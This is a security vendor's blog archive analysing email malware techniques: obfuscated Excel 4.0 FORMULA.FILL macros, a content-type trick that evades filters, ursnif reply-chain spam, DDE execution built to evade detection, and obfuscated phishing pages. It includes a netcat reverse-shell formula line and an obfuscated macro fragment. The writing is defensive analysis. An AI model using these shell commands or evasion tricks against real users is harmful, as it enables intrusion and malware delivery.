Tag Archive for: malware

New wave of EXCEL 4.0 malware campaigns abusing FORMULA macro function

/in /by

VBA has been introduced in Excel 5.0. Before then Excel only had XLM macros, which are still supported today.

XLM macros allow writing code by entering statements directly into cells, just like normal formulas. In fact they are called macro-formulas.

In case you are curious, the reference document of the Excel 4.0 macro functions is here.

There are a few statements among these macro-formulas that allow executing malicious code, these are named EXEC, RUN and CALL. Last month, in April 2020, a wave of malware abusing these calls has circulated.

In May we’ve seen a new wave that apparently still abused XLM macros but without calling EXEC, RUN or CALL. At the time we got them, most of these samples had a 0 detection rate on virustotal, so they seemed to be worth investigating.

Some of these files were using additional tricks to confuse the analysis, like putting the macros in “hidden” sheets. Some others used “very hidden” sheets, some were protected with the “VelvetSweatshop” password (which is a trick used by Microsoft to define read-only documents). There is also a great variability in file names and email campaigns. I won’t waste time on these details and will get straight to the point.

Here is what you see when opening one of these samples:

macro promt

This is the macro prompt shown by Excel when opening the document

This is the usual Macro prompt from Excel. Nothing unusual.

Then this is how the document appears after either accepting or declining the “enable macro” prompt.

The malicious document as soon as it is opened

Again, nothing unusual here. This is just one of the samples, there are of course many variants but, again, we don’t care.

In this case the sample has two visible sheets. As I said before some of the sample have invisible sheets but this is also not important for our analysis.

What all these samples have in common is the abuse of the FORMULA macro-formula. The recursive naming may create some confusion so let me provide a bit of clarification: just like any other formula statement (like IF or SUM for example), the statement FORMULA can be entered into a cell in the form of a formula. This particular statement happens to be named FORMULA itself.

What does this FORMULA statement do? It enters a formula in the active cell (or in a reference). Basically what is given as a parameter to this call becomes a fomula.

Indirect formula generation if you wish and, yes, it is dangerous as it sounds.

While it is quite clear that the following formula may be dangerous

=EXEC("C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe")

it may not be immediately clear that the following one is

=FORMULA.FILL(CHAR(CD49227*BQ50673)&CHAR(DJ6589*CT37716)&CHAR(BR21321*FF26130)&CHAR(CD49227*HX172)&CHAR(AM41560-CK59441)&CHAR(EV44913/AW56953)&CHAR(CD49227-IP41345)&CHAR(DJ6589/BO16290)&CHAR(CB23122*EB17224)&CHAR(CD49227/GH36206)&CHAR(CH27873*BR26518)&CHAR(CD49227+IK24498)&CHAR(DJ6589/HU33461),EV40151)

An this is basically how these malicious samples behave: they crate a formula by gathering data from lots of different cells and making some transformations. Then they apply the formula by using the FORMULA.FILL statement (or one of it’s variants, see the functions reference linked above if you are interested).

The exact text of the FORMULA is built at runtime and this ensures obfuscation which seems to be effective given the zero or very low scores that these samples got on Virustotal.

This is a glance of what you see by analyzing one of these samples with Decalage‘s olevba:

Tiny portion of the olevba output for one of these samples

I’ve highlighted the FORMULA.FILL function call. There are tens of these calls in any given sample.

We are not interested in reverse-engineering each sample in order to find out the details of the behavior. As an email security company we focus on the methods and the tools used by the attackers rather than on the specific malware variant.

Our job is to block these threats on the gateway, we know that the approach of recognizing known malicious stuff is not effective and therefore we focus on removing the tools that the attackers use.

The philosophy of our QuickSand sandbox is more similar to a firewall: when our systems see a pattern like these they don’t really care about reverse-engineering the actual behavior, they don’t even care about recognizing whether this is a known malware variant or a new one.

Whether it is direct or indirect, any way of executing stuff is not allowed for documents delivered via email. This approach is less prone to evasion and it is proactive: it blocks current and future, known and unknown variants.

The low detection rate of these samples on virustotal and on many sandboxing services based on virtualization confirms that in order to be effective with ever-changing threats this is a better approach.

 

Rodolfo Saccani / Security R&D Manager @ Libraesva

Email trojan horse: application/html entity

/in /by

We just discovered a new trick that is currently being used to slip malicious html files through email security solutions and,  in some cases, through antivirus engines.
The trick is quite simple: declaring an email entity as “application/html” instead of “text/html”. “application/html” is an invalid type and this allows it to slip through some checks.

 

Background

Emails are composed of many “parts” called “entities”. Each entity has a content-type header that declares the type of it’s content (the textual or the html portion of the email,  the images contained in the message, the attachments which can be of many different file formats). For example the html portion of the mail has content-type “text/html”, the text part is declared as “text/plain”, an image can be “image/png”, an attached office document can be “application/msword”, and so on. There is a list of valid types and “application/html” is not among those.

What happens if you declare an invalid content type? It depends. Email clients try to be helpful and tend to consider as valid the types they don’t know, but security solutions and antivirus engines may behave differently. They make specific security check that depend on the content and when faced with a content type they don’t know in some cases the end up ignoring or not analyzing properly the content of these entities. At least this is what happens with the entity type “application/html” that we tested.

 

Samples in the wild

The samples found in the wild are delivering html files that, as soon as they are opened, redirect to a malicious site (through a meta tag). These very small one-line html files are attached to malicious emails inside an entity of an invalid type “application/html” instead of the correct type “text/html”. All the email clients we tested (including the major webmail services) show these files as normal attachments but all the email security filters we tested (including those of the major wemail services) could not find malicious links contained in these html files if the entity was “application/html”. While they did detect them if contained in a normal “text/html” entity, they could not detect them if the entity type was changed to “application/html”. This trick is actively being used in the wild, this is why it is appropriate to go public with these findings.

 

Our testing

In order to assess how these entities are managed by email services and clients, we created two email samples with an html attachment containing a link to a malicious website. One of the samples has the entity type changed to “application/html” instead of the normal “text/html”. This is the only difference between the two samples.

 

The sample with the “application/html” entity was delivered as clean in the inbox of all the systems we tested (including the major email providers) while the very same email with the entity of type “text/html” was correctly classified as dangerous. Some checks are clearly missing when the entity type is “application/html”.

All it takes to create a “stealth” entity is to change the word “text” into the word “application” in the content-type declaration.

 

All the email clients (including major webmail services) allowed the user to open the html file contained in the “application/html” entity.

Here is the malicious html file inside an application/html entity sent to Gmail:

Clicking on the attachment, it is displayed and offered for clicking.

Here is the same malicious html file sento to Gmail in a normal text/html entity:

The text/html entity is properly analyzed and classified as dangerous, the application/html entity is not.

 

Tests with actual malware

We performed a second test, by embedding a real sample of emotet in the html attachment (inside an href tag). With this sample the results varied: major email providers correctly detected the threat while some email filtering solutions didn’t.

 

The image above shows how we embedded emoted inside the html file.

These samples have been also tested with major and widely used antivirus engines: some of them did not inspect the “application/html” entity even if they could correctly detect the same sample in a “text/html” entity.

The target of this post is to raise awareness so there is no point in naming products here. We just show a test performed with an opensource antivirus engine.

 

In the previous image we have two samples containing emotet embedded in the html file.

entitytext.eml had a normal “text/html” entity while entityapplication.eml had an entity of type “application/html”. The first command (diff entitytext.eml entityapplication.eml) shows that the only difference between the two emails is the word “text” replaced with “application” in the content-type declaration.

As you can see the antivirus detected emotet in the first sample and didn’t detect it in the second. This test used clamav but the same test with major commercial antivirus engines produced similar result.

The sample entityapplication.eml uploaded on virustotal has been classified as malware by 9 engines on 57:

Conclusions

From an email security gateway point of view, blocking emails containing entities of type “application/html” is probably the wisest thing to do and this is what we are currently doing.

This is clearly an attempt to evade security inspection by pretending to be some kind of unkown application-specific data, inducing to perform only broad and general security checks (for example clamav does not decode base64-encoded data embedded in the href tag if declared as “application/html”) while, at the same time, inducing the email client to offer the file to the user as a normal html attachment.

An attempt to evade analysis is a strong signal about the malicious intention of the sender and should be penalized accordingly.

This threat has been added to our email security tester, a tool to assess the performance of emails security protections. This means that you can easily test, right now, whether you are protected or not from this and other common email threat vectors.

Attaching malware to email replies is very effective

/in /by

It’s almost one month now that a very effective malspam campaign delivering the ursnif trojan is in progress in Italy.

The trick that the malware uses to spread is simple and effective: once run on the victim’s machine it sends replies to existing email threads attaching a copy of the malware itself.

This strategy is so effective that many users release those emails from the quarantine and even report them as false positives, before getting infected themselves. This is still happening with tens of false positive reports per day.

Ursnif is basically a trojan that hijacks remote banking sessions or steals credentials, the malware itself varies and keeps changing over time. The dropper is a word document with an obfuscated macro. Also the macro keeps changing and this makes it very hard for antivirus scanners to intercept the new variants. This is why many of these emails, not being flagged by the antivirus, are quarantined without the “malware” tag which would make it harder for the recipient to release it.

Many users, seeing a reply to an existing thread from one of their contacts in the quarantine, are so convinced that it is a legit email that they release it from the quarantine and even report the message as a false positive to our laboratories, then open the attachment, enable the macros and get infected themselves. At that point the malware starts spreading to their own contacts with replies to existing threads and the campaign propagates.

This is how the email looks like:

The message contains very few words: “Buongiorno, Vedi allegato e di confermare. Cordiali saluti” followed by the real signature of the infected account and the existing email thread below.

The phrase, spelled in an incorrect Italian (but this doesn’t seem to impair the effectiveness), basically says: “Good morning, check the attachment and confirm. Best regards.”

The attachment, usually named Richiesta.doc (Richiesta means Request) is a word document:

The document pretends to be created with a previous version of Microsoft Office and, as usual, instructs the user to enable the macros.

The macros are obfuscated, they keep changing so that signature and pattern based systems can’t catch-up, and they contain an AutoOpen action that executes a powershell script that downloads and install the payload.

Here is a list of macros contained in the file:

And here is one of the AutoOpen variants:

This campaign, just as other malware campaigns like Emotet for example, has an ever-changing dropper that highlights all of the limits of the defense approaches based on signatures and patterns. Antivirus engines are releasing every day hundreds of new detection rules for these ever-changing samples but the latency of the process guarantees the delivery of many samples that are not yet identified by the anti-virus engines.

These emails are being quarantined by content checks and the attachments are blocked or disarmed by our QuickSand sandboxing service, which is a service that disarms active code when the typical operations that enable the dropper functionality are present. This is an approach that doesn’t have the drawbacks of signature and pattern-based approaches and proved to be quite effective in blocking unknown and ever-changing malware variants.

Despite these emails being blocked by these additional layers of protection, the phishing component is so strong that some users voluntarily override all of the safety checks and get infected anyway. This simple phishing trick can induce a recipient to go through a significant effort in order to help the malware authors: release the email from the quarantine, open it, launch the attachment, enable the macros and in some cases even report the email as a false positive.

This is how powerful deception can be.

New DDE exploit variant currently not detected by any AV engine

/in /by

DDE (Dynamic Data Exchange) is a very old and almost forgotten feature of Microsoft Office. Designed to automate the exchange of data between applications, it can be easily exploited to execute arbitrary code without any macro or other active content.

About one month ago, samples of office documents exploiting DDE to spread ransomware have been found in the wild. Security vendors quickly updated their products in order to detect and block such threats.

Unfortunately there are may ways to leverage DDE, some of which are quite elusive. Over the last few weeks new ways to exploit DDE eluding detection have been found and security vendors reacted with variable speed. Here, for example, is a sample of a .doc file that we posted on VirusTotal over three weeks ago. At that time no AV engine detected it, today, about one month later, less than one third of the engines detect it and some big names are among the ones that don’t.

Now, we just created a new .xls sample that is currently detected by ZERO engines according to VirusTotal. This sample is harmless, it just demonstrates how to leverage DDE eluding detection: it uses DDE to launch powershell which in turn launches calc.exe. Once you manage to execute powershell you can let it dynamically download code from a remote website and execute it. This specific sample demonstrates how to exploit DDE without being detected, we’ve tested also harmful samples (using powershell to download and execute malicious code) with the same outcome.

 

As you can see from the screenshot above, the sample is currently undetected by all of the engines running on VirusTotal.

You can download the sample from VirusTotal, we also added this sample to our Email Security Tester, a service that sends you a few emails containing different types of threats in order to test your email security setup.

 

Rodolfo Saccani

 

Fresh phishing served with AES obfuscation

/in /by

Obfuscated phishing sites are nothing new (on the same matter check this article Web obfuscation technique using invisible spans ) but the use of AES in an attempt to evade detection from automated detection tools like our URLSand Sandbox service, is not very common.

Despite AES and encryption in general is not a newbie argument, I am surprised how easily this approach can be adopted by anyone with a basic programming knowledge.

The only thing needed is a Javascript library, freely available for download from Movable Type Scripts.

By including this library in your page you can then serve your encrypted webpage, with a few lines:

To explain the above lines:

Line 1) includes the JavaScript AES implementation, which it calls with the embedded password defined at Line 4) and embedded encrypted data at Line 6). The decrypted phishing content is then dynamically written to the page using document.write() after calling the decryption function at Line 8).

This process happens almost instantly when the page is loaded and once decryption is complete, the phishing site is shown as normal.

Note that the use of AES here is very basic, and there is no attempt made to hide the key or anything else. But I would not be surprised if this kind of attacks will become more sophisticated in the near future!

Eng.Paolo Frizzi

Web obfuscation technique using invisible spans

/in /by

In order to delay detection, phishing and malware websites often use some obfuscation technique.
Obfuscation techniques are double-edged swords. They hide the malicious content from dumb crawlers, bots and sandboxes, but smarter algorithms that know what to look for can detect the malware just by looking at it’s attempts to hide. This is one of the ways we can detect zero-day malware.

In this example we have a fake PayPal website. This page interleaves invisible spans between visible text in order to avoid detection by automated systems that perform heuristic analysis of the web page content.
You’ll get a clearer idea by looking at the following pictures.

This is the fake PayPal website as it is displayed in the browser:

PayPal phishing website

Notice the text just above the login box on the left of the page. The text says “Bitte geben Sie Ihre PayPal-Dated ein”. You will not find this phrase in the source code of the page because the phrase (and especially the word PayPal) has been interleaved with a lot of text enclosed in invisible spans. This text is present in the page but it is not displayed to the user.

Here is a part of the source code of the page (click on the image to enlarge it):

The parts in brown are the invisible spans, they contain a lot of random text that the browser is instructed not to display to the user.

The parts surrounded by yellow boxes are visible and displayed to the user. These parts compose the phrase you see on the webpage but a bot that scans the page and that doesn’t skip the invisible parts cannot find this phrase or even the word PayPal in the whole page.

Invisible content is perfectly normal in legit web pages, often some parts of the page are made visible only on specific events, often most of the page is initially invisible and made visible only when everything has been loaded. Having invisible content is not bad by itself and this is why crawlers and sandboxes don’t ignore it. Using it in this way is certainly suspicious.

Our UrlSand sandbox searches for this and other obfuscation/evasion techniques in order to detect malware.

 

Rodolfo Saccani
Libra Esva R&D Manager

Pragmatic approach to security

/in /by

This is the presentation that I used in my speech at the 2017 Security Summit in Milan.

Security Summit, organized by ClusIt, is the most important security event in Italy. My speech was about protecting from unknown threats delivered via email, the focus was on the relationship between pragmatism and security.

In this post I will go through the items of this speech.

Complexity

The source of today’s security issues lays mainly in the great complexity of the systems we use, such complexity creates a big attack surface. If we link such a big attack surface to the strong motivations to violate our systems, mainly due to the ransomware and phishing business, we can understand why today the new threats, not yet known, are daily business. We’ve seen about 30 thousand new ransomware variants in 2016, which means tens of new threats every day. The security systems, in order to be effective, must be able to intercept such threats even if they don’t know them in advance.

Security systems, in computer science like in the physical world, must be maintained as simple as possible because complexity is the enemy of security. It reduces the reliability and increases the attack surface.

Some security solutions are more oriented towards marketing needs rather than security needs. A sanboxe based on virtual machines, for example, is a system even more complex than the one it should defend: it is a windows system virtualized in an environment instrumented with additional software that tries to observe the malware without being observed in turn by the malware itself. This must be done with short analysis times, typically within two minutes, not to excessively encumber on the company workflows (and to contain costs).

The malware authors have the very same sandboxes that we use, the malware can be tested in such sandboxes before being released. Malware authors quickly learned to trick the sandbox. While the sandbox has just a couple of minutes to provide a response, the malware, once it has infected the PC, has all the time to manifest itself, it can just wait some time not to be identified by the sandbox. The sandbox started tricking the malware into believing that time passed faster and malware learned how to use this characteristic to detect the sandbox. This very simplified example just to say that the etrnal fight between attack and defense just moved into a different environment without changing the background pattern. In this new environment it’s who defends the one in disadvantage.

But a sandbox is a strong marketing argument because complexity sells more than pragmatism.

These sandboxes are exceptional tools for the analysis and the study of the malware, but when they are used as filters they show many weaknesses and they offer a discrete attack surface. A few days ago at Pwn2Own, a cybersecurity contest, one team managed to escape from the vm and compromise the host. With just a click on a link. Imagine a malware that compromises the sandbox in order to infect all the analyzed files … how does it sound?

So, let’s use the complexity prudently and only where we really need it, knowing that every increase in complexity reduces the security, it has a cost.

Protecting from file-based threats

About the file-based threats, in my speech I’ve performed, along with the audience, the analysis of the problem starting from square zero. Let’s analyze the problem again starting from scratch and let’s add complexity until we’ve reached our goal.

Le’ts start from the “firewall” approach. Do you remember when on the firewall we used to close selectively the ports? All ports open by default except the ones we decided to close. Then we inverted this logic: everything is closed and we selectively open based on what we actually need. This simple change of paradigm alone drastically improved security.

Let’s have the same approach. Do we really need executables attacched to our emails? Do we need .exe, .js and so on? No, we don’t. The experience of over one billion emails per month tells us that we don’t need such files, removing them doesn’t impact on the company workflows, so let’s block them without even analyzing them.
Your technician of the IT dept needs to receive jar files? Fine, let’s add an exception for him. Firewall approach. Everything is blocked and we selectively unblock.

Very simple solution, trivial, to remove most of the attack vectors.
We still have the documents though. Office documents, pdf files, such formats now are so complex that they can contain code that can do anything. What do we do with those? For sure we can’t block them.

Ok, it’s time for a one notch increase in complexity. One step towards a greater complexity justified by a real need. Let’s do it.

Let’s analyze the document. Does it contain code or not? If not, it goes through. Firewall approach. But what if it does contain code? For sure we can’t block all the spreadsheets with a macro! Right.

One more notch of complexity is justified. let’s do it.
Now that we know that the document contains code, let’s roll up our sleeves and let’s inspect what it does. Does it perform calculations in a spreadsheet, other automation that is normal in a document? Ok, let’s define a set of safe operatione and let them go through. Firewall approach. This analysis can be done quickly and safely, let’s do it.

Great, we’ve given green light to documents with innocuous macros. What about the other ones? We can’t block them all, we risk creating some disservice.

Ok, one more notch of complexity. Why don’t we “clean” these files that we classified as “suspect”? We can remove the “active” content, the macro, the embedded ocx object, the javascript code in a pdf. Let’s remove such code and deliver an innocuous document. It can still be used as a document, but without code.

Here we are. We just need the finishing touches: define what to do with encrypted documents that we cannot analyze (easy, we block them because today they are one of the biggest vehicles of ransomware), and what to do in the unlucky case where a malware manages to crash my sandbox in order not to be identified: in this case we categorize it as “indeterminate” and by default we remove all the active content. It’s a simple good programming practice to foresee the case where someone manages to perform sabotage on your sandbox (we still see sandboxes that in such conditions let go through the malware that managed to undermine them).

Finally, let’s make configurable by the sysadmin the behaviour in case of safe, suspect, encrypted and indeterminate documents, so that the admin can decide what to let go through, what to block and what to “clean”. Let’s also make sure that everytime we modify a file we keep the original copy so that it can be recovered, should it be needed.

At this point the goal is reached, we protected from file-based attacks, including the ones that are not yet known, and we did it with the simplest solution possible. An analysis and a selective cleaning that are fast, that can be done while the mail is being analysed by the antispam engine, without uploading your files on a third party cloud service, without compliance and privacy issues, without introducing delays that impact on the workflows. Goal achieved with minimal complexity and minimal attack surface.

Protecting from malicious links

So? Should we absolutely avoid complexity in any case? No
We should just use complexity where we need it without fear but considering it a cost that must be justified.

For example, complexity is more than justified to protect from malicious URLs.

The most frequent attack today is a mail coming from a legit sender (whose account is being used illegally), with a short and very generic text, which contains a link to a legit site (infected five minutes ago) on which has been injected a malware that installs itself just visiting that page. One click and you get the ransomware.

This type of attack is a big problem because such a mail could slip through and not be identified as malicious. When the email is being analyzed, we rewrite the URL so that instead of pointing to that page, it now points to our sandbox, we’ll see that here a complex sandbox is justified. Let’s buy some time because time is on our side, the more time passes and the easier it will be of us to identify a legit site that has just been infected, so let’s just rewrite the URL and postpone the analysis to the very last possible moment: at the moment of the click.

Whe the click happens, the user’s browser lands in our sandbox which, only in this very moment, visits the page and analyzes it. It follows the redirects, it visits the page from multiple locations in order to highlight evasion techniques, it evaluates how it presents itself to the search engines, it looks for infection traces, phishing attempts and so on.

Let’s not economize complexity because here it is useful and pays back. Most importantly, here is the sandbox that is advantaged: thee malware cannot wait, it must immediately manifest itself, the infection must happen when the page is loaded. Also, the available techniques in order to hide from sandboxes are limited and we, visiting the page in many ways and from different “places”, can identify them. This is a huge advantage: just putting in place evasion techniques reveals the presence of the malware, including the most complex and not jet known one, making it extremely vulnerable to our analysis.

Here is where the complexity is justified.

If you want to go deeper, here there is an explanation about how the file analysis works and here the one for the URLs.

 

Rodolfo Saccani, Security R&D Manager at Libra Esva